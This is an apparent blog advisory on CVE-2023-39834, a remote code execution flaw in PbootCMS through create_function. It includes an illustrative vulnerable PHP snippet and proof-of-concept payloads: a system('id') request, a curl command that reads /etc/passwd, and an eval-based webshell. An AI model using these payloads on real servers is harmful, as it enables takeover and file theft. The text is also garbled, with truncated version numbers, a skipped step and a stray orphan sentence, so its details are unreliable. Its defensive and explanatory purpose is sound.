CVE-2023-39834 - Command Injection in PbootCMS (< v3.2.) Explained With Exploit Example

In 2023, a critical vulnerability was revealed in PbootCMS, a popular PHP-based content management system widely used for building websites in China and beyond. The vulnerability has been tracked as CVE-2023-39834 and affects all PbootCMS versions below v3.2..

In simple terms, this bug allows an attacker to run arbitrary commands on the web server by sending crafted requests—meaning they could take full control of the website or even the server itself. The root cause is the unsafe use of PHP's create_function, which leads to command injection.

This article will break down how the exploit works, show you a proof-of-concept, give you references, and recommend fixes.

The Vulnerability: How It Happens

The vulnerable code is found in how PbootCMS handles user input. Specifically, it uses the create_function function in PHP without proper input sanitization or validation. create_function is basically a dynamic way to create an anonymous function from a string.

Here’s a simplified vulnerable code snippet

// This is a demonstration, NOT the actual file/line from PbootCMS

$code = $_GET['code']; // User-controlled input.
$func = create_function('', $code);
$func();

If an attacker can control what’s inside $_GET['code'], they can inject PHP code of their choice. This leads directly to remote code execution (RCE), which is the worst kind of vulnerability.

Pivot further into the network if the server isn’t isolated.

All they need is access to a page using this vulnerable code (often via URL parameters).

Here is how an attacker might exploit this vulnerability

1. Find a webpage that uses dynamic code execution through create_function based on user input (typically a GET or POST parameter).

Craft input that ends the intended code and adds malicious code (command injection).

3. Send the payload to the vulnerable parameter, executing arbitrary PHP code or OS commands on the server.

Let’s say the parameter is code. Here’s an HTTP request you might send

GET /index.php?code=system('id'); // Runs the 'id' command on the server

Or as a cURL command

curl "http://vulnerable-site.com/index.php?code=system('cat /etc/passwd');"

If the site echoes output, you'll see the /etc/passwd file contents—proving code execution!

A more advanced payload could create a webshell

// code=eval($_POST['cmd']);

This would let attackers POST PHP code to cmd and get it executed server-side, i.e.

curl -d "cmd=phpinfo();" http://vulnerable-site.com/index.php?code=eval(\$_POST['cmd']);

How to Fix

The use of create_function is discouraged as of PHP 7.2 and removed in PHP 8. Its use should be completely avoided.

- Upgrade: Update PbootCMS to the latest version (>= 3.2.). The vulnerable code was patched by switching away from create_function.

Input Validation: Never use user input directly in any eval-like function.

- WAF/IDS: Implement a Web Application Firewall or Intrusion Detection System to block such malicious input.

Please note: Disabling create_function is not enough, as similar bugs can exist elsewhere.

References

- Official CVE entry: CVE-2023-39834 (MITRE)
- PbootCMS GitHub
- Vulnerability Report on CNVD
- PbootCMS v3.2. release notes

Conclusion

If you are using PbootCMS, check your version right now. Anything below 3.2. is vulnerable to a simple, devastating exploit. Update immediately and audit your codebase for similar issues.

For security researchers: always check for create_function, eval, assert, and similar dynamic functions in PHP code—they are rich ground for RCE bugs!

Stay secure, update quickly!

*This article was independently written to raise awareness about CVE-2023-39834 and help users protect their sites. Always follow best coding and updating practices!*

Timeline

Published on: 08/24/2023 18:15:07 UTC
Last modified on: 08/29/2023 17:38:25 UTC